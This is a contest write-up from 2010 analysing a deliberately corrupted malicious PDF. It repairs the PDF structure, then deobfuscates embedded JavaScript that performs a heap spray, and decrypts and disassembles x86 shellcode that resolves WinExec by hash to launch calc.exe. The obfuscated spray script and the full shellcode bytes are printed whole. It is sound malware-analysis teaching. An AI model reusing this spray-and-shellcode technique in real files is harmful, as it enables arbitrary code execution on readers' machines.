Hackers' Dream Contest

Report: Application Challenge

0. About

Author: Tsukasa Ooi

Date: 2010/11/25

1. Repairing PDF file

1-1. Unescaping and Unpacking

First, let's look at PDF file. I found this file uses #xx encoding.

PDF format permits to use of #xx style encoding (originally, to escape special characters) in identifiers but this file uses this spec to hide important strings like:

So I unescape these type of string.

%PDF-1.7
2 0 obj
<</Type/Pages/Count 1/Kids [3 0 R]>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R
/Annots [14 0 R] >>
endobj
5 0 obj
<</Length 383/Filter [/FlateDecode/ASCIIHexDecode]>>
stream
*********************************
endstream
endobj
7 0 obj
<</Length 275/Filter [/FlateDecode/ASCIIHexDecode]>>
stream
*********************************
endstream
endobj
9 0 obj
<</Length 228/Filter [/FlateDecode/ASCIIHexDecode]>>
stream
*********************************
endstream
endobj
11 0 obj
<</Length 299/Filter [/FlateDecode/ASCIIHexDecode]>>
stream
*********************************
endstream
endobj
12 0 obj
<</S/JavaScript/JS 13 0 R>>
endobj
13 0 obj
<</Length 26/Filter [/FlateDecode/ASCIIHexDecode]>>
stream
*********************************
endstream
endobj
14 0 obj
<</Type/Annot/Subtype/RichMedia/Rect [20 20 187 69] /RichMediaSettings 15 0 R/RichMediaContent 16 0 R/NM (redhidden-.swf)>>
endobj
15 0 obj
<</Type/RichMediaSettings/Subtype/Flash/Activation 17 0 R/Deactivation 18 0 R>>
endobj
16 0 obj
<</Type/RichMediaContent/Assets 19 0 R/Configurations [21 0 R]>>
endobj
17 0 obj
<</Type/RichMediaActivation/Condition/PO>>
endobj
18 0 obj
<</Type/RichMediaDeactivation/Condition/XD>>
endobj
19 0 obj
<</Names [(redhidden-.swf) 20 0 R]>>
endobj
20 0 obj
<</Type/Filespec /EF <</F 23 0 R>> /F(redhidden-.swf)>>
endobj
21 0 obj
<</Type/RichMediaConfiguration/Subtype/Flash/Instances [22 0 R]>>
endobj
22 0 obj
<</Type/RichMediaInstance/Subtype/Flash/Asset 20 0 R>>
endobj
23 0 obj
<</Type/EmbeddedFile/Length 27931>>
stream
*********************************
endstream
endobj
24 0 obj
<</N 5/Type /ObjStm/Filter /FlateDecode/Length 126/First 27
>>stream
*********************************
endstream
endobj
25 0 obj
<</Length 130/Index [ 0 26]/W [ 1 2 2 ]/root 1 0 R/Size 26/ID [ (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) ]
/Type /XRef >>
stream
*********************************
endstream
endobj
25 0 obj
<</Type/Annot/Subtype/RichMedia/Rect [20 20 187 69] /RichMediaSettings 26 0 R/RichMediaContent 27 0 R/NM (redhidden+.swf)>>
endobj
26 0 obj
<</Type/RichMediaSettings/Subtype/Flash/Activation 28 0 R/Deactivation 29 0 R>>
endobj
27 0 obj
<</Type/RichMediaContent/Assets 30 0 R/Configurations [32 0 R]>>
endobj
28 0 obj
<</Type/RichMediaActivation/Condition/PO>>
endobj
29 0 obj
<</Type/RichMediaDeactivation/Condition/XD>>
endobj
30 0 obj
<</Names [(redhidden+.swf) 31 0 R]>>
endobj
31 0 obj
<</Type/Filespec /EF <</F 34 0 R>> /F(redhidden+.swf)>>
endobj
32 0 obj
<</Type/RichMediaConfiguration/Subtype/Flash/Instances [33 0 R]>>
endobj
33 0 obj
<</Type/RichMediaInstance/Subtype/Flash/Asset 31 0 R>>
endobj
34 0 obj
<</Type/EmbeddedFile/Length 27931>>
stream
*********************************
endstream
endobj
startxref
31254
%%EOF

Red text indicates this part is actually a binary stream. Blue text means this text was escaped by #xx encoding.

I didn't know about PDF file format so well. So I tried to decode this file using PDFMiner but I got a error.

pdfminer.pdfparser.PDFSyntaxError: No /Root object! - Is this really a PDF?

Looking PDF file closely, I found no `trailer' section in this file. (Look at PDF 1.7 Reference 7.5.5 "File Trailer") Required object /Root must be defined here but there is no /Root object, even file trailer. So I need to repair and reconstruct the valid tree. I made small parser to extract all binary stream inside. (note that I used memmem that is GNU-extension.) This is used to extract the data temporally and embed files AFTER I repair the text-format PDF.

/* need GNU-extension memmem */
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>

char buf[60529] = {'\0'};

int main(int argc, char** argv)
{
    char fnbuf[32];
    FILE *fin, *fout;
    char *p = buf, *f;
    int n = 0;
    int b = 60529, l;
    /* read Application-Challenge.pdfxx */
    fin = fopen("Application-Challenge.pdfxx", "rb");
    fread(buf, 1, 60529, fin);
    fclose(fin);
    /* find all stream/endstream pair and dump them */
    while (p && (f = (char*)memmem(p, b, "stream\n", 7)))
    {
        f += 7;
        b -= f - p;
        p = f;
        f = (char*)memmem(p, b, "\nendstream\n", 11);
        if (f)
        {
            l = f - p;
            sprintf(fnbuf, "bin/stream%d.bin", ++n);
            fout = fopen(fnbuf, "wb");
            fwrite(p, 1, l, fout);
            fclose(fout);
            b -= l + 11;
            f += 11;
        }
        p = f;
    }
    return 0;
}

1-2. Analysis - What is corrupted then?

Enough. Now I am ready for PDF repairing. This file is corrupted. But... what is corrupted inside this file?

Also, there are some hints to repair.

1-3. Analysis - /Root entry

I guess original PDF file has /Root entry with object ID 1. Hint was corrupted /root entry.

/root 1 0 R

Except case is wrong (must be "Root"), this indicates the /Root object has ID 1. I assume the file trailer as follows.

trailer
% This is still corrupted. Just a placeholder.
<<
/Size @INCOMPLETE@
/Root 1 0 R
>>

Additionally, I assume the dummy /Root entry.

1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>

I didn't know many things about PDF file format so I didn't know ID 1,4,6,8,10 are NOT missing. (Thus /Root entry is defined, even hidden.) Then, I had to check compressed/encoded data.

1-4. Analysis - Compressed/Encoded data

I thought many, many things in PDF file are corrupted (that was wrong though.) So I decided to check compressed/encoded binary stream first.

From the program above, I extracted 9 binary streams.

I decompressed the flate data with deflate.py. For ASCIIHex encoded data, I made small program to decode ASCIIHex encoded text.

#include <stdio.h>
#include <string.h>

char buf[1024];
int ibuf[1024];
int rem = -1;

int main(int argc, char** argv)
{
	size_t l,i,j;
	int v;
	while (fgets(buf, 1024, stdin))
	{
		j = 0;
		l = strlen(buf);
		if (rem != -1)
			ibuf[j++] = rem;
		for (i = 0; i < l; i++)
		{
			switch (buf[i])
			{
			case '0': ibuf[j] = 0; break;
			case '1': ibuf[j] = 1; break;
			case '2': ibuf[j] = 2; break;
			case '3': ibuf[j] = 3; break;
			case '4': ibuf[j] = 4; break;
			case '5': ibuf[j] = 5; break;
			case '6': ibuf[j] = 6; break;
			case '7': ibuf[j] = 7; break;
			case '8': ibuf[j] = 8; break;
			case '9': ibuf[j] = 9; break;
			case 'a': ibuf[j] = 10; break;
			case 'b': ibuf[j] = 11; break;
			case 'c': ibuf[j] = 12; break;
			case 'd': ibuf[j] = 13; break;
			case 'e': ibuf[j] = 14; break;
			case 'f': ibuf[j] = 15; break;
			case 'A': ibuf[j] = 10; break;
			case 'B': ibuf[j] = 11; break;
			case 'C': ibuf[j] = 12; break;
			case 'D': ibuf[j] = 13; break;
			case 'E': ibuf[j] = 14; break;
			case 'F': ibuf[j] = 15; break;
			default: continue;
			}
			j++;
		}
		if (j % 2)
			rem = ibuf[j-1];
		for (i = 0; i < j/2; i++)
		{
			v = ibuf[i*2]*16 + ibuf[i*2+1];
			putchar(v);
		}
	}
}

Hmm, all ASCIIHex encoded streams are JavaScript. But it is no fun. At least for now.

The most interesting thing in the compressed data is ObjStm. Looking at PDF reference, this is a object stream that is used for object compression.

1 0 4 46 6 83 8 120 10 158 <</Type/Catalog/Pages 2 0 R/OpenAction 4 0 R>><</S/JavaScript/Next 6 0 R/JS 5 0 R>><</S/JavaScript/Next 8 0 R/JS 7 0 R>><</S/JavaScript/Next 10 0 R/JS 9 0 R>><</S/JavaScript/Next 12 0 R/JS 11 0 R>>

Make it easy to read.

1 0 4 46 6 83 8 120 10 158 
<</Type/Catalog/Pages 2 0 R/OpenAction 4 0 R>>
<</S/JavaScript/Next 6 0 R/JS 5 0 R>>
<</S/JavaScript/Next 8 0 R/JS 7 0 R>>
<</S/JavaScript/Next 10 0 R/JS 9 0 R>>
<</S/JavaScript/Next 12 0 R/JS 11 0 R>>

This section consists of two parts.

Oh, there you are. The "missing" objects are placed here!

Now, I have to analyze next "corrupted" part, duplicated ID 25.

1-4. Analysis - Cross-Reference

There is weird thing in the PDF file. RichMedia (of object ID 25) or later objects are never referenced by the others. When I found this, I have no idea to solve it. But now, I have a plan. Let's look at the cross-reference table object (also have ID 25). And I see the "Size" is 26. "Index" is specified as "[ 0 26]". This fact, tells me everything.

<</Length 130/Index [ 0 26]/W [ 1 2 2 ]/root 1 0 R/Size 26/ID [ (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) ]
/Type /XRef >>

So, this is the conclusion. RichMedia (with ID 25) or later objects are completely dummy. They are never used and can be removed. I found redhidden+.swf with object ID 34 but it is exactly same as redhidden-.swf (with object ID 23).

Finally, I can repair the PDF file. Completely.

1-5. Conclusion - Repairing the PDF file

First, I need to remove RichMedia (with ID 25) and later from the original PDF file. In byte offset, 0x7b59 and later. Next, append the valid footer. (Don't forget to append EOL-marker after %%EOF.)

trailer
<< /Size 26
/Root 1 0 R >>
startxref
31254
%%EOF

In binary form:

007b50 6d 0a 65 6e 64 6f 62 6a 0a 74 72 61 69 6c 65 72  >m.endobj.trailer<
007b60 0a 3c 3c 20 2f 53 69 7a 65 20 32 36 0a 2f 52 6f  >.<< /Size 26./Ro<
007b70 6f 74 20 31 20 30 20 52 20 3e 3e 0a 73 74 61 72  >ot 1 0 R >>.star<
007b80 74 78 72 65 66 0a 33 31 32 35 34 0a 25 25 45 4f  >txref.31254.%%EO<
007b90 46 0a                                            >F.<
007b92

Finally, I have to fix wrong entry "/root". This is placed inside the PDF file as a encoded format.

007a20 3c 2f 4c 65 6e 67 74 68 20 31 33 30 2f 49 6e 64  ></Length 130/Ind<
007a30 65 78 20 5b 20 30 20 32 36 5d 2f 57 20 5b 20 31  >ex [ 0 26]/W [ 1<
007a40 20 32 20 32 20 5d 2f 23 37 32 23 36 66 23 36 66  > 2 2 ]/#72#6f#6f<
007a50 23 37 34 20 31 20 30 20 52 2f 53 69 7a 65 20 32  >#74 1 0 R/Size 2<
007a60 36 2f 49 44 20 5b 20 28 61 61 61 61 61 61 61 61  >6/ID [ (aaaaaaaa<

This is escaped character 'r'. To make it valid PDF, it must be changed to 'R'. So I apply the single-byte, binary patch.

007a20 3c 2f 4c 65 6e 67 74 68 20 31 33 30 2f 49 6e 64  ></Length 130/Ind<
007a30 65 78 20 5b 20 30 20 32 36 5d 2f 57 20 5b 20 31  >ex [ 0 26]/W [ 1<
007a40 20 32 20 32 20 5d 2f 23 35 32 23 36 66 23 36 66  > 2 2 ]/#52#6f#6f<
007a50 23 37 34 20 31 20 30 20 52 2f 53 69 7a 65 20 32  >#74 1 0 R/Size 2<
007a60 36 2f 49 44 20 5b 20 28 61 61 61 61 61 61 61 61  >6/ID [ (aaaaaaaa<

That's it! Repaired file has 31634-bytes length and hash:

MD5   : ccb6fed20ca83dc08db3723891f4d30c
SHA-1 : d6d90aeaac21987fc36ef842aefa64e355407107
SHA256: 3244c344ba28e21bef66dd768cf5106f79e5d80adfebee08ca347b2bf5c5dc4c

2. Analyzing Shell Code

2-1. Analyzing JavaScript

Recently, I made the tool to decode JavaScript stream. Looking at PDF file, these 5 scripts are executed in its order. Okay, let's look at the possibly malcious JavaScript. I will make these scripts easy to read.

/*********** stream1 ***********/
function AKY8i(Ml5TO)
{
	var Ml5To = "58585858585C585890909";
	var xxy = Ml5TO +
		"90c92b1fb10cbdc536db9bd9c524745a" +
		"f4ea8331fc0b6a6a03d40767305cff98" +
		"bbd7ffa4fe9b74ad058b8b028dd893bc" +
		"cd35a237b84290a63a94e99aa4d58de5" +
		"a31f4ceb464b8cd0ada844524a3b81b8" +
		"0dd7484bd46c461392734a204ff86edc" +
		"8ea20726b404d4d084ecba9782217ce8" +
		"c0ca8cf4a647210d2ea0b0cd2c00a8b0" +
		"5b43f424e87a9cbb857dcba07ded9209" +
		"e196315580";
	return xxy;
}

/*********** stream2 ***********/
var HBY0Y = 2147483648;
var len = "\x6c\x65\x6e\x67\x74\x68"; // "length"
var s2 = "\x73\x75\x62\x73\x74\x72\x69\x6e\x67"; // "substring"
var Err10 = "/"; {}
var N5OX1 = "";
var s3 = "\x73\x75\x62\x73\x74\x72"; // "substr"
var p = unescape;
var Ob3bo = "0";

function a(__)
{
	var _ = '';
	for (var ___ = 0; ___ < __[len]; ___ += 4)
		_ += '%' + 'u' + __[s3](___,4);
	return _;
}

/*********** stream3 ***********/
var HBY0Y = 2147483648;
var kkk = AKY8i(HBY0Y);
var N5OX1 = "";
var c = p(a(kkk));
var Ob3bo = "0";
var JQVj3 = 1;
var __ = new Array();
var ls = 0x86000-(c[len]*2);
var b = p(a("0c0c0c0c"));

/*********** stream4 ***********/
var B7GXO = 1994146192;

while (b[len] < ls / 2)
{
	b += b;
}
var lh = b[s2](0, ls / 2);
lh += lh;
var Ob3bo = "0";
delete b;

for(i=0;i<800;i= i+1)
{
	__3 = lh + c;
	__[i] = __3;
}

app.alert("\n      Welcome to RedHidden's PDF World!!! :)\n\n\n\t\t#### Love PoC~ Love AhnLab~ #####\n ");

/*********** stream5 : whitespace only ***********/

It's obfuscated but still JavaScript. Obviously, this is a heap-splay. Interesting thing is: the shellcode is concatinated with a number (2147483648). This number is interpreted as a string and transforms into a part of shellcode. (# 47 21 36 48 xx 48) The final shellcode is:

000000 47 21 36 48 90 48 2b c9 b1 1f bd 0c 36 c5 9b db  >G!6H.H+.....6...<
000010 c5 d9 74 24 f4 5a 83 ea fc 31 6a 0b 03 6a 07 d4  >..t$.Z...1j..j..<
000020 30 67 ff 5c bb 98 ff d7 fe a4 74 9b 05 ad 8b 8b  >0g.\......t.....<
000030 8d 02 93 d8 cd bc a2 35 b8 37 90 42 3a a6 e9 94  >.......5.7.B:...<
000040 a4 9a 8d d5 a3 e5 4c 1f 46 eb 8c 4b ad d0 44 a8  >......L.F..K..D.<
000050 4a 52 81 3b 0d b8 48 d7 d4 4b 46 6c 92 13 4a 73  >JR.;..H..KFl..Js<
000060 4f 20 6e f8 8e dc 07 a2 b4 26 d4 04 84 d0 ba ec  >O n......&......<
000070 82 97 7c 21 c0 e8 8c ca a6 f4 21 47 2e 0d b0 a0  >..|!......!G....<
000080 2c cd a8 00 5b b0 f4 43 e8 24 9c 7a 85 bb cb 7d  >,...[..C.$.z...}<
000090 7d a0 92 ed e1 09 31 96 80 55                    >}.....1..U<
00009a

2-2. Guess Exploit Type

Before reading this shellcode, I have to check this one. This shellcode is contatinated with NOP-sled (0x0c0c0c0c). But this value as a address -- 0x0c0c0c0c -- is also used for return-into-libc or Return-Oriented Programming (ROP) to disable DEP. In the other hand, this shellcode might be a valid x86 code. In other words, this shell code can interpreted in two ways.

So first, I run a statistical analysis. If this shellcode is used as a indirect pointer, this area must have statistical bias. Because to disable DEP and/or do something useful, the REAL pointers to the REAL program and/or libraries are needed. Real pointers of address have specific characteristics (for instance, no [kernel-used] high value.) But these values did not have these characteristics. So I guess this is not a array-of-pointers. Second, I checked the load address offset in the heap. To do return-into-libc, the exploit offset MUST BE adjusted exactly. But, (possibly) expected address 0x0c0c0c0c will not be the shellcode entry because this shellcode have offset of 0x10BECC or nearby (too far to do return-into-libc.) More of that, for heap-splay, allocation size and the memory fill pattern is UNNATURAL. Windows returns 64KiB-aligned memory for allocation. If the success rate of (return-into-libc) exploit should be high, the memory fill contents must have 64KiB-aligned pattern. So I guess this is a x86 code which is executed directly.

It also means, no DEP-bypass here. (It's no problem because DEP for Adobe Reader 9.x is default disabled.)

2-3. Analyzing Shellcode Header

As I described above, this shellcode must be a x86 code so I disassemble it.

00000000  47                inc edi
00000001  2136              and [esi],esi
00000003  48                dec eax
00000004  90                nop
00000005  48                dec eax
00000006  2BC9              sub ecx,ecx
00000008  B11F              mov cl,0x1f
0000000A  BD0C36C59B        mov ebp,0x9bc5360c
; edi : may be unpredictable because first byte may be executed following 0x0c byte.
; eax = orig_eax - 2
; ecx = 0x0000001f
; ebp = 0x9bc5360c

The number described above, have translated into a valid x86-code. I see the and [esi], esi will crash if ESI register doesn't have a valid pointer. But I assume ESI is valid as a pointer and this instruction does not have bad effect.

0000000F  DBC5              fcmovnb st5
00000011  D97424F4          fnstenv [esp-0xc]
00000015  5A                pop edx

Oops, unforseen FPU instructions here. The first instruction is nearly harmless. The 2nd and 3rd instruction are related because fnstenv instruction saves 28-bytes of information which next pop instruction references. Looking at Intel's manual, I found the value which is finally stored to EDX register is FPU Instruction Pointer Offset. In this case, this is the instruction pointer to "fcmovnb" instruction because this is the last FPU instruction executed.

; 0. edx = &SHELLCODE + 0x0f
; 1. edx = &SHELLCODE + 0x13 (same as `add edx, byte 0x04')
00000016  83EAFC            sub edx,byte -0x4
; 2. decrypt the shellcode (edx + 0x0b; first, &SHELLCODE + 0x1e)
00000019  316A0B            xor [edx+0xb],ebp
; 3. oops, this instruction is modified
0000001C  036A07            add ebp,[edx+0x7]

This is shellcode decryption routine but wait! The third instruction at 0x001c is modified just by the instruction before! But I assume it gets no problem too because the behavior can be strongly unpredictable if instruction-prefetch queue causes a problem. This is not only a problem. If prefetch queue causes a problem, the payload cannot be decrypted correctly, too. (The decryption key depends on the contents decrypted, just like CBC encryption mode.)

2-4. Analyzing Decryption Loop and Decrypting Payload

If first decryption is succeed, the decryption loop is `decrypted' as follows:

; before executing decryption loop:
;     edx = &SHELLCODE + 0x0f
;     ebp = 0x9bc5360c (initial decryption key)
;     ecx = 0x1f (31 in decimal)
; loop.1. edx += 4
00000016  83EAFC            sub edx,byte -0x4
; loop.2. decrypt using XOR key (ebp)
00000019  316A0B            xor [edx+0xb],ebp
; loop.3. update decryption key
0000001C  036A0B            add ebp,[edx+0xb]
; loop.4. loop (run 1.-3. for 31 times)
0000001F  E2F5              loop 0x16

I made a small program to decrypt the payload and a part of decryption loop.

/* need C99 <stdint.h> */
#include <stdio.h>
#include <stdint.h>

int main(int argc, char** argv)
{
	char headerbuf[30];
	uint32_t buf;
	uint32_t decryption_key = UINT32_C(0x9bc5360c);
	/* first 30-bytes is not encrypted. */
	fread(headerbuf, sizeof(char), 30, stdin);
	fwrite(headerbuf, sizeof(char), 30, stdout);
	/* decrypt payload and a part of decryption loop */
	while (fread(&buf, sizeof(uint32_t), 1, stdin))
	{
		buf ^= decryption_key;
		decryption_key += buf;
		fwrite(&buf, sizeof(uint32_t), 1, stdout);
	}
	return 0;
}

The result is:

000000 47 21 36 48 90 48 2b c9 b1 1f bd 0c 36 c5 9b db  >G!6H.H+.....6...<
000010 c5 d9 74 24 f4 5a 83 ea fc 31 6a 0b 03 6a 0b e2  >..t$.Z...1j..j..<
000020 f5 fc e8 44 00 00 00 8b 45 3c 8b 7c 05 78 01 ef  >...D....E<.|.x..<
000030 8b 4f 18 8b 5f 20 01 eb 49 8b 34 8b 01 ee 31 c0  >.O.._ ..I.4...1.<
000040 99 ac 84 c0 74 07 c1 ca 0d 01 c2 eb f4 3b 54 24  >....t........;T$<
000050 04 75 e5 8b 5f 24 01 eb 66 8b 0c 4b 8b 5f 1c 01  >.u.._$..f..K._..<
000060 eb 8b 1c 8b 01 eb 89 5c 24 04 c3 5f 31 f6 60 56  >.......\$.._1.`V<
000070 64 8b 46 30 8b 40 0c 8b 70 1c ad 8b 68 08 89 f8  >d.F0.@..p...h...<
000080 83 c0 6a 50 68 7e d8 e2 73 68 98 fe 8a 0e 57 ff  >..jPh~..sh....W.<
000090 e7 63 61 6c 63 2e 65 78 65 00                    >.calc.exe.<
00009a

A string `calc.exe' appears so I guess this executes calc.exe.

2-5. Analyzing Payload

Enough, let's move on to the payload.

; 0. comes here when decryption loop ends
; 1. run the payload body (and push the address of &SHELLCODE + 0x27)
00000021  FC                cld
00000022  E844000000        call dword 0x6b


; 2. edi = &PAYLOAD + 0x27
0000006B  5F                pop edi
; 3. push 0
0000006C  31F6              xor esi,esi
0000006E  60                pushad
0000006F  56                push esi
; 4. eax = &PEB
00000070  648B4630          mov eax,[fs:esi+0x30]
; 5. eax = PEB->LoaderInfo (PEB_LDR_DATA*)
00000074  8B400C            mov eax,[eax+0xc]
; 6. esi = *(PEB_LDR_DATA->InInitializationOrderModuleList.Flink)
00000077  8B701C            mov esi,[eax+0x1c]
; 7. eax = [esi] (modlist.Flink->Flink)
0000007A  AD                lodsd
; 8. ebp = &kernel32.dll
0000007B  8B6808            mov ebp,[eax+0x8]
; 9. push ASCII "calc.exe" (&PAYLOAD + 0x91)
0000007E  89F8              mov eax,edi
00000080  83C06A            add eax,byte +0x6a
00000083  50                push eax
; 10. push the hash of ExitProcess
00000084  687ED8E273        push dword 0x73e2d87e
; 11. push the hash of WinExec
00000089  6898FE8A0E        push dword 0x0e8afe98
; 12. find function and run these
0000008E  57                push edi
0000008F  FFE7              jmp edi


; f1.1. eax = IMAGE_DOS_HEADER->e_lfanew
00000027  8B453C            mov eax,[ebp+0x3c]
; f1.2. edi = Export table absolute address
0000002A  8B7C0578          mov edi,[ebp+eax+0x78]
0000002E  01EF              add edi,ebp
; f1.3. ecx = Number of API names
00000030  8B4F18            mov ecx,[edi+0x18]
; f1.4. ebx = Address of names address
00000033  8B5F20            mov ebx,[edi+0x20]
00000036  01EB              add ebx,ebp
    ; f1.5. ecx-- (loop)
    00000038  49                dec ecx
    ; f1.6. esi = name entry address
    00000039  8B348B            mov esi,[ebx+ecx*4]
    0000003C  01EE              add esi,ebp
    ; f1.7. eax = 0, edx = 0
    0000003E  31C0              xor eax,eax
    00000040  99                cdq
    ; f1.8. al = API name character
    00000041  AC                lodsb
    ; f1.9. if function name ends, check the hash (jump to f1.11.)
    00000042  84C0              test al,al
    00000044  7407              jz 0x4d
    ; f1.10. update hash and loop (to f1.8.)
    00000046  C1CA0D            ror edx,0xd
    00000049  01C2              add edx,eax
    0000004B  EBF4              jmp short 0x41
    ; f1.11. if hash equals, break. (else jump to f1.5.)
    0000004D  3B542404          cmp edx,[esp+0x4]
    00000051  75E5              jnz 0x38
; f1.12. ebx = Address of name ordinals address
00000053  8B5F24            mov ebx,[edi+0x24]
00000056  01EB              add ebx,ebp
; f1.13. cx = found ordinal
00000058  668B0C4B          mov cx,[ebx+ecx*2]
; f1.14. ebx = Address of function addresses
0000005C  8B5F1C            mov ebx,[edi+0x1c]
0000005F  01EB              add ebx,ebp
; f1.15. ebx = Address of found function
00000061  8B1C8B            mov ebx,[ebx+ecx*4]
00000064  01EB              add ebx,ebp
; f1.16. replace stack and "return".
00000066  895C2404          mov [esp+0x4],ebx
0000006A  C3                ret

This payload uses same hash function as Web Challenge's one to use kernel32 DLL functions. The interesting (and different) thing is the stack. When the payload jump to the API resolve function (0x0027), The stack is formed like this:

Then "WinExec" API is resolved. When the function find WinExec API, this function replaces the hash input which is placed on the stack with found function pointer. So, after "WinExec" API is found, stack is formed:

Then first `ret' instruction at 0x006a is executed. The stack points to the pointer to the API resolve function so same function is executed again.

Next "ExitProcess" is resolved.

`ret' instrcution at 0x006a is executed again and "returned" to WinExec function with two arguments, "calc.exe" and SW_HIDE (please note SW_HIDE is just a hint so some programs including calc.exe ignore this value.).

Finally, calc.exe is ran. After running, the CPU control "returns" to ExitProcess API.

Return address is not used (normally) but dword 0 is interpreted as a argument (exit code.)

After all static analysis, I ran this exploit directly. (Of course, I wouldn't do that normally.) Yeah, calc.exe is actually ran (ESI register also contained a valid pointer; more of that, it was the exploit address.) but the process didn't terminate correctly (just freezes.) I guess the process is compromised. ExitProcess API notifies DLLs to be quit and wait for almost all DLLs correctly unloaded. But some DLLs are compromised because of exploit so won't quit correctly. If this payload must quit successfully even if DLLs are compromised, we'd better to use TerminateProcess(-1, 0) instead of ExitProcess.

This is the final activity. Simple isn't it?

// This is pseudo-code.
hInstance = /* known address of kernel32.dll */
GetProcAddress(hInstance, "WinExec");
GetProcAddress(hInstance, "ExitProcess");

WinExec("calc.exe", SW_HIDE);
ExitProcess(0); // freeze?